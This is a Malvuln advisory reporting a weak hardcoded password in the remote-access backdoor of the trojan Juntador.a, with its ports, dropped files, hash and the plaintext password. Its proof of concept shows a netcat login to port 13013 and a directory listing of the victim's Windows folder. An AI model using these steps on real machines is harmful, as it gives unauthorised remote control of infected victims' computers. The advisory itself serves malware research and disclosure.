Trojan-Dropper.Win32.Juntador.a Weak Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/f28e866ce2f99013a66b015f6a7f31a8.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan-Dropper.Win32.Juntador.a  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP ports 7826 and 13013 and drops executables under the Windows dir. Authentication is required for remote user access. However, the password "sexjerx sexjerx" is weak and hardcoded in plaintext within the executable.  
Type: PE32  
MD5: f28e866ce2f99013a66b015f6a7f31a8  
Vuln ID: MVID-2021-0259  
Dropped files: winvxd.exe, IntelMouse.exe  
Disclosure: 06/23/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 13013  
  
pwd sexjerx sexjerx  
psychward revised 0.1, awaiting your command  
dir  
<.>  
<..>  
<0409>  
12520437.cpx (2151)  
12520850.cpx (2233)  
@AudioToastIcon.png (308)  
@EnrollmentToastIcon.png (330)  
@VpnToastIcon.png (404)  
@WirelessDisplayToast.png (691)  
aadauthhelper.dll (154624)  
aadtb.dll (954880)  
AboveLockAppHost.dll (252928)  
accessibilitycpl.dll (3804160)  
accountaccessor.dll (215552)  
AccountsRt.dll (363520)  
AcGenral.dll (2393600)  
AcLayers.dll (372224)  
acledit.dll (9216)  
aclui.dll (5388800)  
acppage.dll (68096)  
AcSpecfc.dll (471552)  
ActionCenter.dll (261632)  
ActionCenterCPL.dll (541184)  
ActivationClient.dll (30720)  
ActivationManager.dll (444928)  
activeds.dll (222720)  
activeds.tlb (112128)  
ActiveSyncProvider.dll (1546752)  
actxprxy.dll (261632)  
AcWinRT.dll (33792)  
acwow64.dll (38400)  
AcXtrnal.dll (87552)  
AdaptiveCards.dll (38400)  
etc...  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`